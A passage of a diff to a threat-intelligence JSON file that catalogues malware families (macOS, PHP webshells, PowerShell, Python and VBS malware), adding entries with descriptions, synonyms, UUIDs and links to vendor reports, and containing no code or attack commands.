"https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi", + "https://redcanary.com/blog/chromeloader/", + "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", + "https://www.th3protocol.com/2022/Choziosi-Loader" + ], + "synonyms": [ + "ChromeLoader", + "Chropex" + ], + "type": [] + }, + "uuid": "57f75f24-b77b-46b3-a06a-57d49374fb82", + "value": "Choziosi (OS X)" + }, { "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version", "meta": { @@ -6510,6 +7812,20 @@ "uuid": "a8e71805-014d-4998-b21e-3125da800124", "value": "DarthMiner" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dazzle_spy", + "https://objective-see.com/blog/blog_0x6D.html", + "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ba2c7d3c-7f7a-42f7-854c-a6cc0b5eb850", + "value": "DazzleSpy" + }, { "description": "", "meta": { @@ -6587,11 +7903,13 @@ "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://github.com/gdbinit/evilquest_deobfuscator", + "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", "https://objective-see.com/blog/blog_0x59.html", "https://objective-see.com/blog/blog_0x5F.html", "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", - "https://twitter.com/dineshdina04/status/1277668001538433025" + "https://twitter.com/dineshdina04/status/1277668001538433025", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" ], "synonyms": [ "ThiefQuest" @@ -6637,6 +7955,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", "https://en.wikipedia.org/wiki/Flashback_(Trojan)", @@ -6670,6 +7989,20 @@ "uuid": "a517cdd1-6c82-4b29-bdd2-87e281227597", "value": "FruitFly" }, + { + "description": "This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick", + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/", + "https://cybersecuritynews.com/gimmick-malware-attacks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0e259d0f-717a-4ced-ac58-6fe9d72e2c96", + "value": "GIMMICK" + }, { "description": "", "meta": { @@ -6724,11 +8057,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", "https://archive.f-secure.com/weblog/archives/00002576.html", + "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", + "https://www.malwarology.com/posts/5-janicab-part_1/", "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.macmark.de/blog/osx_blog_2013-08-a.php", + "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", - "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html" + "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", + "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", + "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/" ], "synonyms": [], "type": [] @@ -6803,6 +8141,34 @@ "uuid": "d26b5518-8d7f-41a6-b539-231e4962853e", "value": "Komplex" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.lador", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9c6b54ce-44a0-4d0c-89cb-6532c8f89d8d", + "value": "Lador" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.lambert", + "https://objective-see.com/blog/blog_0x68.html" + ], + "synonyms": [ + "GreenLambert" + ], + "type": [] + }, + "uuid": "7433f3a8-f53c-4ba0-beff-e312fae9ad39", + "value": "Lambert (OS X)" + }, { "description": "", "meta": { @@ -6992,6 +8358,19 @@ "uuid": "cd397973-8f42-4c49-8322-414ea77ec773", "value": "Olyx" }, + { + "description": "SentinelOne describes this as a malware written in Go, mixing own custom code with code from public repositories.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat", + "https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "699dac0f-092c-4c8e-85e9-6e3c86129190", + "value": "oRAT" + }, { "description": "", "meta": { @@ -7116,6 +8495,7 @@ "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://securelist.com/shlayer-for-macos/95724/" ], "synonyms": [], @@ -7129,6 +8509,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis" ], "synonyms": [], @@ -7137,14 +8518,35 @@ "uuid": "f6a7aeeb-fcc5-4d26-9eab-c0b6e2819a6c", "value": "Silver Sparrow" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker", + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", + "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html", + "https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5bffe0fe-22f6-4d18-9372-f8c5d262d852", + "value": "SysJoker (OS X)" + }, { "description": "General purpose backdoor", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd", - "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en" + "https://securelist.com/windealer-dealing-on-the-side/105946/", + "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf" + ], + "synonyms": [ + "Demsty", + "ReverseWindow" ], - "synonyms": [], "type": [] }, "uuid": "a8e7687b-9db7-4606-ba81-320d36099e3a", @@ -7177,6 +8579,22 @@ "uuid": "1c96f6b9-6b78-4137-9d5f-aa5575f80daa", "value": "Unidentified macOS 001 (UnionCryptoTrader)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent", + "https://twitter.com/sysopfb/status/1532442456343691273", + "https://www.jamf.com/blog/updateagent-adapts-again/", + "https://www.esentire.com/blog/updateagent-macos-malware", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1f1bc885-5987-41fa-bb04-8775eeb45d88", + "value": "UpdateAgent" + }, { "description": "", "meta": { @@ -7196,6 +8614,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram", + "https://twitter.com/MsftSecIntel/status/1451279679059488773", + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", "https://twitter.com/ConfiantIntel/status/1351559054565535745" ], "synonyms": [ @@ -7308,6 +8728,7 @@ "https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/xcsset-mac-malware-infects-xcode-projects-performs-uxss-attack-on-safari-other-browsers-leverages-zero-day-exploits/", "https://objective-see.com/blog/blog_0x5F.html", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/" ], "synonyms": [], @@ -7321,12 +8742,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader", + "https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption", "https://twitter.com/krabsonsecurity/status/1319463908952969216", + "https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/", + "https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/", "https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer", + "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-xbinder-xloader/", "https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/", "https://www.sentinelone.com/blog/detecting-xloader-a-macos-malware-as-a-service-info-stealer-and-keylogger/", - "https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/", - "https://blog.malwarebytes.com/mac/2021/07/osx-xloader-hides-little-except-its-main-purpose-what-we-learned-in-the-installation-process/" + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://blog.malwarebytes.com/mac/2021/07/osx-xloader-hides-little-except-its-main-purpose-what-we-learned-in-the-installation-process/", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html" ], "synonyms": [ "Formbook" @@ -7409,6 +8836,19 @@ "uuid": "88a71ca8-d99f-416a-ad29-5af12212008c", "value": "ANTAK" }, + { + "description": "A webshell for multiple web languages (asp/aspx, jsp/jspx, php), openly distributed through Github.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/php.behinder", + "https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5e5cd3a6-0348-4c6b-94b1-13ca0d845547", + "value": "Behinder" + }, { "description": "C99shell is a PHP backdoor that provides a lot of functionality, for example:\r\n\r\n\r\n* run shell commands;\r\n* download/upload files from and to the server (FTP functionality);\r\n* full access to all files on the hard disk;\r\n* self-delete functionality.\r\n\r\n", "meta": { @@ -7425,7 +8865,7 @@ "value": "c99shell" }, { - "description": "FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion's File Transfer Appliance.", + "description": "FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion's File Transfer Appliance. It is a PHP webshell that allows threat actors to view and download files in the victim machine. It also contains cleanup function to remove itself and clean the Apache log.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode", @@ -7455,6 +8895,19 @@ "uuid": "dfd8deac-ce86-4a22-b462-041c19d62506", "value": "Ensikology" }, + { + "description": "In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/php.parrot_tds_shell", + "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c9e7c5a6-9082-47ec-89eb-477980e73dcb", + "value": "Parrot TDS WebShell" + }, { "description": "", "meta": { @@ -7472,6 +8925,20 @@ "uuid": "e6a40fa2-f79f-40e9-89d3-a56984bc51f7", "value": "PAS" }, + { + "description": "Backdoor written in php", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/php.prometheus_backdoor", + "https://blog.group-ib.com/prometheus-tds", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b4007b02-106d-420f-af1c-76c035843fd2", + "value": "Prometheus Backdoor" + }, { "description": "", "meta": { @@ -7490,6 +8957,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.wso", + "https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903", "https://securelist.com/energetic-bear-crouching-yeti/85345/" ], "synonyms": [ @@ -7513,6 +8981,19 @@ "uuid": "b5cc7a39-305b-487e-b15a-02dcebefce90", "value": "Silence DDoS" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.blacksun", + "https://blogs.vmware.com/security/2022/01/blacksun-ransomware-the-dark-side-of-powershell.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1fcc4425-6e14-47e6-8434-745cf1bc9982", + "value": "BlackSun" + }, { "description": "", "meta": { @@ -7636,6 +9117,19 @@ "uuid": "286a14a1-7113-4bed-97ce-8db41b312a51", "value": "JasperLoader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lazyscripter", + "https://github.com/SrujanKumar-K/Blogpost/tree/main/LazyScripter" + ], + "synonyms": [], + "type": [] + }, + "uuid": "74e5711e-b777-4f09-a4bc-db58d5e23e29", + "value": "Lazyscripter" + }, { "description": "According to Bleeping Computer and Vitali Kremez, LightBot is a compact reconnaissance tool suspected to be used to identify high-value targets for potential follow-up ransomware attacks.", "meta": { @@ -7655,8 +9149,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", + "https://isc.sans.edu/diary/rss/28628", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", "https://isc.sans.edu/diary/26918", "https://github.com/mhaskar/Octopus" ], @@ -7737,6 +9232,19 @@ "uuid": "60d7f668-66b6-401b-976f-918470a23c3d", "value": "POWERPIPE" }, + { + "description": "This powershell code is a PowerShell written backdoor used by FIN7. Regarding to Mandiant that is was revealed to be a \"vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server.\"", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerplant", + "https://www.mandiant.com/resources/evolution-of-fin7" + ], + "synonyms": [], + "type": [] + }, + "uuid": "697626d3-04a1-4426-aeae-d7054c6e78fb", + "value": "POWERPLANT" + }, { "description": "", "meta": { @@ -7750,6 +9258,19 @@ "uuid": "4310dcab-0820-4bc1-8a0b-9691c20f5b49", "value": "powershell_web_backdoor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershortshell", + "https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f2198153-2d8b-49ed-b8a8-0952c289b8c0", + "value": "PowerShortShell" + }, { "description": "", "meta": { @@ -7770,6 +9291,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" ], "synonyms": [], @@ -7796,19 +9318,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", "https://blog.prevailion.com/2020/01/summer-mirage.html", "https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/", "https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/", "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", "https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/", - "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/", "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/", "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", "https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/" ], "synonyms": [ @@ -7838,6 +9364,19 @@ "uuid": "08d5b8a4-e752-48f3-ac6d-944807146ce7", "value": "POWERTON" }, + { + "description": "This PowerShell written malware is an in-memory dropper used by FIN7 to execute the included/embedded payload. According to Mandiant's blog article: \"POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub.\"", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powertrash", + "https://www.mandiant.com/resources/evolution-of-fin7" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ff20d720-285e-4168-ac8c-86a7f9ac18d4", + "value": "POWERTRASH" + }, { "description": "", "meta": { @@ -7870,10 +9409,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop", "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", + "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", "https://unit42.paloaltonetworks.com/thanos-ransomware/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/" + "https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], "type": [] @@ -7925,6 +9471,19 @@ "uuid": "e27bfd65-4a58-416a-b03a-1ab1703edb24", "value": "QUADAGENT" }, + { + "description": "According to Trellix, this is a first-stage, powershell-based malware dropped via Excel/VBS. It is able to establish a foothold and exfiltrate data. Targets identified include hotels in Macao.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.rmot", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/suspected-darkhotel-apt-activity-update.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7e79444b-95d9-422d-92f0-aeb833a7cbcd", + "value": "RMOT" + }, { "description": "", "meta": { @@ -8058,6 +9617,33 @@ "uuid": "77231587-0dbe-4064-97b5-d7f4a2e3dc67", "value": "Unidentified PS 001" }, + { + "description": "A Powershell-based RAT capable of pulling further payloads, delivered through Russia-themed phishing mails.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "73578ff6-b218-4271-9bda-2a567ba3e259", + "value": "Unidentified PS 002 (RAT)" + }, + { + "description": "This malware is a RAT written in PowerShell. It has the following capabilities: Downloading and Uploading files, loading and execution of a PowerShell script, execution of a specific command. It was observed by Malwarebytes LABS Threat Intelligence Team in a newly discovered campaign: this campaigns tries to lure Germans with a promise of updates on the current threat situation in Ukraine according to Malwarebyte LABS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_003", + "https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "709ba4ad-9ec5-4e0b-b642-96db3b7f6898", + "value": "Unidentified PS 003 (RAT)" + }, { "description": "", "meta": { @@ -8160,6 +9746,19 @@ "uuid": "53dd4a8b-374e-48b6-a7c8-58af0e31f435", "value": "DropboxC2C" }, + { + "description": "According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.guard", + "https://securelist.com/wildpressure-targets-macos/103072/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ac3382b3-3c18-4b16-8f1b-b371794916ac", + "value": "Guard" + }, { "description": "", "meta": { @@ -8179,8 +9778,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://github.com/AlessandroZ/LaZagne", "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.infinitumit.com.tr/apt-35/", + "https://github.com/AlessandroZ/LaZagne", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", "https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf" ], @@ -8190,6 +9792,19 @@ "uuid": "c752f295-7f08-4cb0-92d5-a0c562abd08c", "value": "LaZagne" }, + { + "description": "This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing champaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.lokirat", + "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5e7bb9d4-6633-49f8-8770-9ac1163e6531", + "value": "Loki RAT" + }, { "description": "An IRC bot written in (obfuscated) Python code. Distributed in attack campaign FreakOut, written by author Freak/Fl0urite and development potentially dating back as far as 2015.", "meta": { @@ -8199,10 +9814,12 @@ "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", "https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/", "https://twitter.com/xuy1202/status/1393384128456794116", + "https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr", "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", "https://www.lacework.com/the-kek-security-network/", "https://github.com/lacework/lacework-labs/tree/master/keksec", "https://www.lacework.com/keksec-tsunami-ryuk/", + "https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/", "https://twitter.com/xuy1202/status/1392089568384454657", "https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/", "https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/" @@ -8292,6 +9909,20 @@ "uuid": "01f15f4e-dd40-4246-9b99-c0d81306e37f", "value": "PyArk" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback", + "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001", + "https://github.com/7h3w4lk3r/pyback" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6d96cd1e-98f4-4784-9982-397c5df19bd9", + "value": "pyback" + }, { "description": "PyVil RAT", "meta": { @@ -8336,6 +9967,21 @@ "uuid": "30a22cdb-9393-460b-86ae-08d97c626155", "value": "Saphyra" }, + { + "description": "According to Proofpoint, this is a backdoor written in Python, used in attacks against French entities in the construction, real estate, and government industries.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent", + "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", + "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html", + "https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8052319b-f6da-4f53-a630-59245ff65eaf", + "value": "Serpent" + }, { "description": "", "meta": { @@ -8376,18 +10022,6 @@ "uuid": "6239201b-a0bd-4f01-8bbe-79c6fc5fa861", "value": "Stitch" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001" - ], - "synonyms": [], - "type": [] - }, - "uuid": "6d96cd1e-98f4-4784-9982-397c5df19bd9", - "value": "unidentified_001" - }, { "description": "", "meta": { @@ -8486,6 +10120,19 @@ "uuid": "8ca31b9b-6e78-4dcc-9d14-dfd97d44994e", "value": "GGLdr" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.glowspark", + "https://inquest.net/blog/2022/02/10/380-glowspark" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ab6f8b6d-f0a0-4d2c-a81b-2dcb146914ea", + "value": "GlowSpark" + }, { "description": "", "meta": { @@ -8540,7 +10187,9 @@ "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", + "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", + "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html", "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/" ], "synonyms": [], @@ -8601,6 